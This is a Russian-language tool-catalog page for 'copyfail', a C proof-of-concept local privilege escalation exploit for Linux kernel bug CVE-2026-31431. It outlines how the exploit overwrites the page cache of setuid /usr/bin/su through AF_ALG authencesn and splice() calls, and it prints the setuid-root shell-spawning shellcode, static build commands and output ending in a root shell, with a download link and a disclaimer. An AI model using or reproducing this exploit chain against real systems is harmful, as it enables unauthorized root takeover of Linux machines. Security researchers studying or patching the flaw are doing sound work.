Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC — повреждение page cache ядра Linux через authencesn AF_ALG + splice() | Kitploit
Инструменты/GitHubGitHub/smarttfoxx/copyfail
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC — повреждение page cache ядра Linux через authencesn AF_ALG + splice()

Репозиторий
2073 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Copy Fail — PoC для CVE-2026-31431 на C

Эксплойт локального повышения привилегий для CVE-2026-31431 (Copy Fail), написанный на C.

Как это работает

  1. Разбор ELF: преобразует виртуальный адрес точки входа /usr/bin/su в смещение в файле через программные заголовки PT_LOAD
  2. Настройка AF_ALG: привязывается к authesn(hmac(sha256),cbc(aes)) с нулевым ключом
  3. Записи по 4 байта в page cache: для каждого фрагмента полезной нагрузки шеллкода:
    • sendmsg() отправляет AAD с байтами шеллкода в качестве seqno_lo (байты 4–7), с флагом MSG_MORE
    • splice() доставляет 32 байта страниц page cache целевого файла в качестве тега аутентификации AEAD
    • recv() запускает дешифрование, и запись во временный буфер authesn попадает в связанные страницы page cache, записывая 4 контролируемых байта.
  4. Повышение привилегий: execl("/usr/bin/su") загружает повреждённый page cache. 40-байтовый шеллкод (setuid(0) + execve("/bin/sh")) выполняется с правами setuid-root

Шеллкод

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Сборка

Требуется musl-gcc или любой C-компилятор с поддержкой статической линковки:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

Альтернативно с GCC + glibc:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

Использование

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

Ссылки

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

Отказ от ответственности

Данный proof-of-concept предоставлен исключительно для авторизованных исследований в области безопасности и образовательных целей. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным.

Скачать инструмент